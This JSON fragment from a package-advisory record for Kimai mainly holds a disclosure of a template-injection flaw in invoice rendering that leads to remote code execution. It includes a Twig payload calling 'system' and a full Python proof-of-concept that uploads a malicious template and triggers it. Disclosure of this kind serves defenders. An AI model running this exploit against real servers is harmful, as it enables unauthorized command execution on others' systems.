Malicious Twig File","description":"# Description\n\nThe laters version of Kimai is found to be vulnerable to a critical Server-Side Template Injection (SSTI) which can be escalated to Remote Code Execution (RCE). The vulnerability arises when a malicious user uploads a specially crafted Twig file, exploiting the software's PDF and HTML rendering functionalities.\n\nSnippet of Vulnerable Code: \n\n```php\npublic function render(array $timesheets, TimesheetQuery $query): Response\n{\n    ...\n    $content = $this-\u003etwig-\u003erender($this-\u003egetTemplate(), array_merge([\n        'entries' =\u003e $timesheets,\n        'query' =\u003e $query,\n        ...\n    ], $this-\u003egetOptions($query)));\n    ...\n    $content = $this-\u003econverter-\u003econvertToPdf($content, $pdfOptions);\n    ...\n    return $this-\u003ecreatePdfResponse($content, $context);\n}\n```\n\nThe vulnerability is triggered when the software attempts to render invoices, allowing the attacker to execute arbitrary code on the server.\n\nIn below, you can find the docker-compose file was used for this testing:\n\n```yaml\nversion: '3.5'\nservices:\n\n  sqldb:\n    image: mysql:5.7\n    environment:\n      - MYSQL_ROOT_HOST='%'\n      - MYSQL_DATABASE=kimai\n      - MYSQL_USER=kimaiuser\n      - MYSQL_PASSWORD=kimaipassword\n      - MYSQL_ROOT_PASSWORD=changemeplease\n\n    ports:\n      - 3336:3306\n    volumes:\n      - mysql:/var/lib/mysql\n    command: --default-storage-engine innodb\n    restart: unless-stopped\n    healthcheck:\n      test: mysqladmin -p$$MYSQL_ROOT_PASSWORD ping -h 127.0.0.1\n      interval: 20s\n      start_period: 10s\n      timeout: 10s\n      retries: 3\n\n  nginx:\n    image: tobybatch/nginx-fpm-reverse-proxy\n    ports:\n      - 8001:80\n    volumes:\n      - public:/opt/kimai/public:ro\n    restart: unless-stopped\n    depends_on:\n      - kimai\n    healthcheck:\n      test:  wget --spider http://nginx/health || exit 1\n      interval: 20s\n      start_period: 10s\n      timeout: 10s\n      retries: 3\n\n  kimai: # This is the latest FPM image of kimai\n    image: kimai/kimai2:fpm-prod\n    environment:\n      - ADMINMAIL=admin@kimai.local\n      - ADMINPASS=changemeplease\n      - DATABASE_URL=mysql://kimaiuser:kimaipassword@sqldb/kimai\n      - TRUSTED_HOSTS=nginx,localhost,127.0.0.1,172.29.0.3,172.29.0.6,172.29.0.5.172.29.0.2\n      - memory_limit=1024\n    volumes:\n      - public:/opt/kimai/public\n      # - var:/opt/kimai/var\n      # - ./ldap.conf:/etc/openldap/ldap.conf:z\n      # - ./ROOT-CA.pem:/etc/ssl/certs/ROOT-CA.pem:z\n    restart: unless-stopped\n\n  phpmyadmin:\n    image: phpmyadmin\n    restart: always\n    ports:\n      - 8081:80\n    environment:\n      - PMA_ARBITRARY=1\n\n\n\n  postfix:\n    image: catatnight/postfix:latest\n    environment:\n      maildomain: neontribe.co.uk\n      smtp_user: kimai:kimai\n    restart: unless-stopped\n\nvolumes:\n    var:\n    public:\n    mysql:\n```\n\nSteps to Reproduce (Manually):\n1- Upload a malicious Twig file to the server containing the following payload ```{{['id\u003e/tmp/pwned']|map('system')|join}}```\n2- Trigger the SSTI vulnerability by downloading the invoices.\n3- The malicious code gets executed, leading to RCE.\n4- /tmp/pwned file will be created on the target system\n\nI've also attached an automated script to ease up the process of reproducing:\n # Proof of Concept\n```python\nimport requests\nimport re\nimport string\nimport random\nimport sys\n\nsession = requests.session()\nBASE_URL = sys.argv[1]\n\n\ndef generate(size=6, chars=string.ascii_uppercase + string.digits):\n    return ''.join(random.choice(chars) for _ in range(size))\n\n\ndef get_csrf(path, session):\n    try:\n        project_id = \"\"\n        csrf_token = \"\"\n        preview_id = \"\"\n        template_ids = []\n        activity_customer_list = []\n        \n        csrf_login_response = session.get(f\"{BASE_URL}{path}\").text\n        \n        # Extract CSRF Token\n        pattern = re.compile(r'\u003cinput[^\u003e]*?name=[\"\\'].*?token[^\"\\']*[\"\\'][^\u003e]*?value=[\"\\'](.*?)[\"\\'][^\u003e]*?\u003e', re.IGNORECASE)\n        match = pattern.search(csrf_login_response)\n        if match:\n            csrf_token = match.group(1)\n        \n        if \"performSearch\" in path:\n            preview_pattern = re.compile(r'\u003cdiv[^\u003e]*id=\"preview-token\"[^\u003e]*data-value=\"(.*?)\"[^\u003e]*\u003e', re.IGNORECASE)\n            preview_match = preview_pattern.search(csrf_login_response)\n            if preview_match:\n                preview_id = preview_match.group(1)\n\n        \n        template_pattern = re.compile(r'\u003coption value=\"(\\d+)\" selected=\"selected\"\u003e', re.IGNORECASE)\n        template_matches = template_pattern.findall(csrf_login_response)\n        if template_matches:\n            template_ids = [int(id) for id in template_matches]\n        \n        if \"timesheet\" in path:\n            option_pattern = re.compile(r'\u003coption value=\"(\\d+)\" data-customer=\"(\\d+)\" data-currency=\"EUR\"\u003e', re.IGNORECASE)\n            option_matches = option_pattern.findall(csrf_login_response)\n            if option_matches:\n                activity_customer_list = [(int(activity_id), int(customer_id)) for activity_id, customer_id in option_matches]\n        \n        if \"project\" in path or \"activity\" in path:\n            project_id_match = re.search(r'\u003coption value=\"(\\d+)\"[^\u003e]*data-currency=\"EUR\"[^\u003e]*\u003e', csrf_login_response)\n            if project_id_match:\n                project_id = project_id_match.group(1)\n        \n        return csrf_token, project_id, preview_id, template_ids, activity_customer_list\n    \n    except Exception as e:\n        print(f\"Error occurred: {e}\")\n        return None, None, None, None, None\n\n\ndef login(username,password,csrf,session):\n    try:\n        params = {\"_username\": username, \"_password\": password, \"_csrf_token\": csrf}\n        login_response = session.post(f\"{BASE_URL}/login_check\", data=params, allow_redirects=True)\n        if \"I forgot my password\" not in login_response.text:\n            print(f\"[+] Logged in: {username}\")\n            return session\n        else:\n            print(\"Wrong username,password\", username)\n            exit(1)\n    except Exception as e:\n        print(str(e))\n        pass\n\ndef create_customer(token,name,session):\n    try:\n\n        data = {\n            'customer_edit_form[name]': (None, name),\n            'customer_edit_form[color]': (None, ''),\n            'customer_edit_form[comment]': (None, 'xx'),\n            'customer_edit_form[address]': (None, 'xx'),\n            'customer_edit_form[company]': (None, ''),\n            'customer_edit_form[number]': (None, '0002'),\n            'customer_edit_form[vatId]': (None, ''),\n            'customer_edit_form[country]': (None, 'DE'),\n            'customer_edit_form[currency]': (None, 'EUR'),\n            'customer_edit_form[timezone]': (None, 'UTC'),\n            'customer_edit_form[contact]': (None, ''),\n            'customer_edit_form[email]': (None, ''),\n            'customer_edit_form[homepage]': (None, ''),\n            'customer_edit_form[mobile]': (None, ''),\n            'customer_edit_form[phone]': (None, ''),\n            'customer_edit_form[fax]': (None, ''),\n            'customer_edit_form[budget]': (None, '0.00'),\n            'customer_edit_form[timeBudget]': (None, '0:00'),\n            'customer_edit_form[budgetType]': (None, ''),\n            'customer_edit_form[visible]': (None, '1'),\n            'customer_edit_form[billable]': (None, '1'),\n            'customer_edit_form[invoiceTemplate]': (None, ''),\n            'customer_edit_form[invoiceText]': (None, ''),\n            'customer_edit_form[_token]': (None, token),\n        }\n\n\n        response = session.post(f\"{BASE_URL}/admin/customer/create\", files=data)\n\n    except Exception as e:\n        print(str(e))\n\n\ndef create_project(token, name,project_id ,session):\n    try:\n        form_data = {\n            'project_edit_form[name]': (None, name),\n            'project_edit_form[color]': (None, ''),\n            'project_edit_form[comment]': (None, ''),\n            'project_edit_form[customer]': (None, project_id), \n            'project_edit_form[orderNumber]': (None, ''),\n            'project_edit_form[orderDate]': (None, ''),\n            'project_edit_form[start]': (None, ''),\n            'project_edit_form[end]': (None, ''),\n            'project_edit_form[budget]': (None, '0.00'),\n            'project_edit_form[timeBudget]': (None, '0:00'),\n            'project_edit_form[budgetType]': (None, ''),\n            'project_edit_form[visible]': (None, '1'),\n            'project_edit_form[billable]': (None, '1'),\n            'project_edit_form[globalActivities]': (None, '1'),\n            'project_edit_form[invoiceText]': (None, ''),\n            'project_edit_form[_token]': (None, token)\n        }\n        \n        response = session.post(f\"{BASE_URL}/admin/project/create\", files=form_data)\n        \n    except Exception as e:\n        print(str(e))\n\n\ndef create_activity(token, name,project_id ,session):\n    try:\n        form_data = {\n            'activity_edit_form[name]': (None, name),\n            'activity_edit_form[color]': (None, ''),\n            'activity_edit_form[comment]': (None, ''),\n            'activity_edit_form[project]': (None, ''),\n            'activity_edit_form[budget]': (None, '0.00'),\n            'activity_edit_form[timeBudget]': (None, '0:00'),\n            'activity_edit_form[budgetType]': (None, ''),\n            'activity_edit_form[visible]': (None, '1'),\n            'activity_edit_form[billable]': (None, '1'),\n            'activity_edit_form[invoiceText]': (None, ''),\n            'activity_edit_form[_token]': (None, token),\n        }\n        \n        response = session.post(f\"{BASE_URL}/admin/activity/create\", files=form_data)\n        \n        if response.status_code == 201:\n            print(f\"[+] Activity created: {name}\")\n\n    except Exception as e:\n        print(f\"An error occurred: {str(e)}\")\n\ndef upload_malicious_document(token,session):\n    try:\n        form_data = {\n            'invoice_document_upload_form[document]': ('din.pdf.twig', f\"\u003chtml\u003e\u003cbody\u003e{{{{['{sys.argv[4]}']|map('system')|join}}}}\u003c/body\u003e\u003c/html\u003e\", 'text/x-twig'),\n            'invoice_document_upload_form[_token]': (None, token)\n        }\n        \n        response = session.post(f\"{BASE_URL}/invoice/document_upload\", files=form_data)\n        \n        if \".pdf.twig\" in response.text:\n            print(\"[+] Twig uploaded successfully!\")\n        else:\n            print(\"[-] Error while uploading, exiting..\")\n            exit(1)\n\n    except Exception as e:\n        print(f\"An error occurred: {str(e)}\")\nimport re\n\ndef create_malicious_template(token, name, session):\n    try:\n        data = {\n            'invoice_template_form[name]': name,\n            'invoice_template_form[title]': name,\n            'invoice_template_form[company]': name,\n            'invoice_template_form[vatId]': '',\n            'invoice_template_form[address]': '',\n            'invoice_template_form[contact]': '',\n            'invoice_template_form[paymentTerms]': '',\n            'invoice_template_form[paymentDetails]': '',\n            'invoice_template_form[dueDays]': '30',\n            'invoice_template_form[vat]': '0.000',\n            'invoice_template_form[language]': 'en',\n            'invoice_template_form[numberGenerator]': 'default',\n            'invoice_template_form[renderer]': 'din',\n            'invoice_template_form[calculator]': 'default',\n            'invoice_template_form[_token]': token\n        }\n        \n        response = session.post(f\"{BASE_URL}/invoice/template/create\", data=data)\n        \n        # Define the regex pattern to capture the template ID and match the name\n        pattern = re.compile(fr'\u003ctr class=\"modal-ajax-form open-edit\" data-href=\"/en/invoice/template/(\\d+)/edit\"\u003e\\s*\u003ctd class=\"alwaysVisible col_name\"\u003e{re.escape(name)}\u003c/td\u003e', re.DOTALL)\n        \n        # Search the response text with the regex pattern\n        match = pattern.search(response.text)\n        \n        if match:\n            template_id = match.group(1)  # Extract the captured group\n            print(f\"[+] Malicious Template: {name}, Template ID: {template_id}\")\n            return template_id  # Return the captured template ID\n        else:\n            print(\"[-] Failed to capture the template ID\")\n            create_malicious_template(token,name,session)\n        \n    except Exception as e:\n        print(f\"An error occurred: {str(e)}\")\n        exit(1)\n\n\n\n\ndef create_timesheet(token, activity, project, session):\n    form_data = {\n            'timesheet_edit_form[begin_date]': (None, '01/01/1980'),\n            'timesheet_edit_form[begin_time]': (None, '12:00 AM'),\n            'timesheet_edit_form[duration]': (None, '0:15'),\n            'timesheet_edit_form[end_time]': (None, '12:15 AM'),\n            'timesheet_edit_form[customer]': (None, ''),\n            'timesheet_edit_form[project]': (None, project),\n            'timesheet_edit_form[activity]': (None, activity),\n            'timesheet_edit_form[description]': (None, ''),\n            'timesheet_edit_form[fixedRate]': (None, ''),\n            'timesheet_edit_form[hourlyRate]': (None, ''),\n            'timesheet_edit_form[billableMode]': (None, 'auto'),\n            'timesheet_edit_form[_token]': (None, token)\n        }\n    response = session.post(f\"{BASE_URL}/timesheet/create\", files=form_data,allow_redirects=False)\n    if response.status_code == 302:  # Changed to 200 as 301 is for redirection\n        print(f\"[+] Created a new timesheet\")\n\n\n##############################\n\n\n\n\n\n# login\ncsrf, _, _, _, _ = get_csrf(\"/login\", session) \n# login(\"admin\", \"password\", csrf, session)\nlogin(sys.argv[2],sys.argv[3],csrf,session)\n# create new customer\n\nget_customer_token, _, _, _, _ = get_csrf(\"/admin/customer/create\", session)  \ncustomer_name = generate()\ncreate_customer(get_customer_token, customer_name, session)\n# create new project with customer_name\n\nget_project_token, customer_id, _, _, _ = get_csrf(\"/admin/project/create\", session)  \nproject_name = generate()\ncreate_project(get_project_token, project_name, customer_id, session)\n\n# create new activity \nget_activity_token, project_id, _, _, _ = get_csrf(\"/admin/activity/create\", session)\nactivity_name = generate()\ncreate_activity(get_activity_token, activity_name, project_id, session)\n\n# EXPLOIT\n######################\n\n# upload malicious file\nupload_token, _, _, _, _ = get_csrf(\"/invoice/document_upload\", session)\nupload_malicious_document(upload_token, session)\n\n# create malicious template to trigger the SSTI\nget_template_token, _, _, _, _ = get_csrf(\"/invoice/template/create\", session)\ntemplate = generate()\ntemp_id = create_malicious_template(get_template_token, template, session)\n\n# create a timesheet with project_id and activity_id\nactivity_customer_list = get_csrf(\"/timesheet/create\", session)[4]  # get the activity_customer_list from get_csrf function\n\nprint(f\"[+] Constructing renderer URLs..\")\n# iterate through all relative project_ids and customer_id for exploit stabiliy\nfor activity_id, customer_id in activity_customer_list:\n    csrf = get_csrf(\"/timesheet/create\", session)[0]  # Update CSRF token for each iteration\n    print(f\"[+] Creating timesheets with: Activity ID: {activity_id}, Customer ID: {customer_id}\")\n    create_timesheet(csrf, activity_id, customer_id, session)\n    postData = {\n        \"searchTerm\": \"\",\n        \"daterange\": \"\",\n        \"state\": \"1\",\n        \"billable\": \"0\",\n        \"exported\": \"1\",\n        \"orderBy\": \"begin\",\n        \"order\": \"DESC\",\n        \"exporter\": \"pdf\"\n    }\n    # export timesheets so they appear in exported invoices\n    export = session.post(f\"{BASE_URL}/timesheet/export/\", data=postData).text\n    if \"PDF-1.4\" in export:\n        csrf, _, _, _, _ = get_csrf(\"/invoice/\", session)\n        # get preview token to construct the preview URL to trigger SSTI\n        csrf, project_id, preview_id, template_ids, activity_customer_list = get_csrf(f\"/invoice/?searchTerm=\u0026daterange=\u0026exported=1\u0026invoiceDate=1%2F1%2F1980\u0026performSearch=performSearch\u0026_token={csrf}\u0026template={temp_id}\", session)\n        for template_id in template_ids:\n            rendererURL = f\"{BASE_URL}/invoice/preview/{customer_id}/{preview_id}?searchTerm=\u0026daterange=\u0026exported=1\u0026template={temp_id}\u0026invoiceDate=\u0026_token={csrf}\u0026customers[]={customer_id}\"\n            # trigger the payload by visiting the renderer URL \n            rce = session.get(rendererURL)\n            \n            if \"PDF-1.4\" in rce.text:\n                print(rendererURL)\n                print(\"[+] successfully executed payload\")\n                # save the pdf locally since rendered URL will expire as soon as we end the session\n                pdf = f\"{generate()}.pdf\"\n                with open(pdf,'wb') as pdfFile:\n                    pdfFile.write(rce.content)\n                    pdfFile.flush()\n                    pdfFile.close()\n                    print(f\"[+] Saved results with name: {pdf}\")\n                exit(1)\n\nprint(\"[-] Failed to execute payload, try to trigger manually..\")\n```\n\nwhich can be executed as such:\n```bash\n$ python3 spl0it.py http://localhost:8001/en admin password \"ls -la\"\n```\n\nthis will download the rendered file which will contain the results of the RCE:\n\n![kimaiRCE](https://user-images.githubusercontent.com/32583633/271780813-dd62020e-8ac8-4902-bc70-5503a9362e40.png)\n\n\n# Impact\n\nRemote Code Execution","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2023-10-30T15:40:04.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.2,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","references":["https://github.com/kimai/kimai/security/advisories/GHSA-fjhg-96cp-6fcw","https://nvd.nist.gov/vuln/detail/CVE-2023-46245","https://github.com/kimai/kimai/commit/38e37f1c2e91e1acb221ec5c13f11b735bd50ae4","https://github.com/advisories/GHSA-fjhg-96cp-6fcw"],"source_kind":"github","identifiers":["GHSA-fjhg-96cp-6fcw","CVE-2023-46245"],"repository_url":"https://github.com/kimai/kimai","blast_radius":0.0,"created_at":"2023-10-30T16:06:16.269Z","updated_at":"2026-09-01T13:10:16.980Z","epss_percentage":0.01466,"epss_percentile":0.71818,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mamhnLTk2Y3AtNmZjd84AA2xl","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1mamhnLTk2Y3AtNmZjd84AA2xl","packages":[{"ecosystem":"packagist","package_name":"kimai/kimai","versions":[{"first_patched_version":"2.1.0","vulnerable_version_range":"\u003c 2.1.0"}],"purl":null}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mamhnLTk2Y3AtNmZjd84AA2xl/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1yNThtLXY1cHItamhocc4AAxqX","url":"https://github.com/advisories/GHSA-r58m-v5pr-jhhq","title":"Cross-site Scripting in kimai/kimai","description":"Cross Site Scripting (XSS) vulnerability in kevinpapst kimai2 in /src/Twig/Runtime/MarkdownExtension.php, allows attackers to gain escalated privileges.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2023-02-16T00:30:28.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.6,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","references":["https://nvd.nist.gov/vuln/detail/CVE-2020-19825","https://github.com/kimai/kimai/pull/962","https://github.com/kimai/kimai/releases/tag/1.1","https://github.com/kevinpapst/kimai2/pull/962/files","https://github.com/kevinpapst/kimai2","https://github.com/advisories/GHSA-r58m-v5pr-jhhq"],"source_kind":"github","identifiers":["GHSA-r58m-v5pr-jhhq","CVE-2020-19825"],"repository_url":"https://github.com/kimai/kimai","blast_radius":0.0,"created_at":"2023-02-16T15:03:13.203Z","updated_at":"2026-09-01T13:13:02.468Z","epss_percentage":0.00697,"epss_percentile":0.50528,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yNThtLXY1cHItamhocc4AAxqX","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1yNThtLXY1cHItamhocc4AAxqX","packages":[{"ecosystem":"packagist","package_name":"kimai/kimai","versions":[{"first_patched_version":"1.1","vulnerable_version_range":"\u003c 1.1"}],"purl":null}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yNThtLXY1cHItamhocc4AAxqX/related_packages","related_advisories":[]}],"docker_usage_url":"https://docker.ecosyste.ms/usage/packagist/kimai/kimai","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/packagist/kimai/kimai","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/packagist/kimai/kimai/dependencies","status":null,"funding_links":["https://github.com/kevinpapst","https://opencollective.com/kimai","https://github.com/sponsors/kevinpapst"],"critical":null,"issue_metadata":{"last_synced_at":"2026-08-19T13:42:50.107Z","issues_count":809,"pull_requests_count":718,"avg_time_to_close_issue":11053460.867961165,"avg_time_to_close_pull_request":843907.7346278317,"issues_closed_count":515,"pull_requests_closed_count":618,"pull_request_authors_count":76,"issue_authors_count":450,"avg_comments_per_issue":2.3522867737948085,"avg_comments_per_pull_request":1.5306406685236769,"merged_pull_requests_count":540,"bot_issues_count":0,"bot_pull_requests_count":1,"past_year_issues_count":56,"past_year_pull_requests_count":155,"past_year_avg_time_to_close_issue":1250537.138888889,"past_year_avg_time_to_close_pull_request":1083151.5892857143,"past_year_issues_closed_count":36,"past_year_pull_requests_closed_count":112,"past_year_pull_request_authors_count":30,"past_year_issue_authors_count":47,"past_year_avg_comments_per_issue":2.5357142857142856,"past_year_avg_comments_per_pull_request":1.793548387096774,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":0,"past_year_merged_pull_requests_count":101,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/issues","maintainers":[{"login":"kevinpapst","count":419,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/kevinpapst"},{"login":"tobybatch","count":6,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/tobybatch"}],"active_maintainers":[{"login":"kevinpapst","count":82,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/kevinpapst"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/packagist.org/packages/kimai%2Fkimai/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/packagist.org/packages/kimai%2Fkimai/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/packagist.org/packages/kimai%2Fkimai/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/packagist.org/packages/kimai%2Fkimai/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/packagist.org/packages/kimai%2Fkimai/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/packagist.org/packages/kimai%2Fkimai/codemeta","maintainers":[{"uuid":"kevinpapst","login":"kevinpapst","name":null,"email":null,"url":null,"packages_count":13,"html_url":"https://packagist.org/users/kevinpapst","role":null,"created_at":"2022-12-31T22:48:44.704Z","updated_at":"2022-12-31T22:48:44.704Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/packagist.org/maintainers/kevinpapst/packages"}],"registry":{"name":"packagist.org","url":"https://packagist.org","ecosystem":"packagist","default":true,"packages_count":513060,"maintainers_count":143318,"namespaces_count":172195,"keywords_count":147286,"github":"packagist","metadata":{"funded_packages_count":30687},"icon_url":"https://github.com/packagist.png","created_at":"2022-04-04T15:19:23.222Z","updated_at":"2026-09-01T05:04:57.760Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/packagist.org/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/packagist.org/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/packagist.org/namespaces"}}]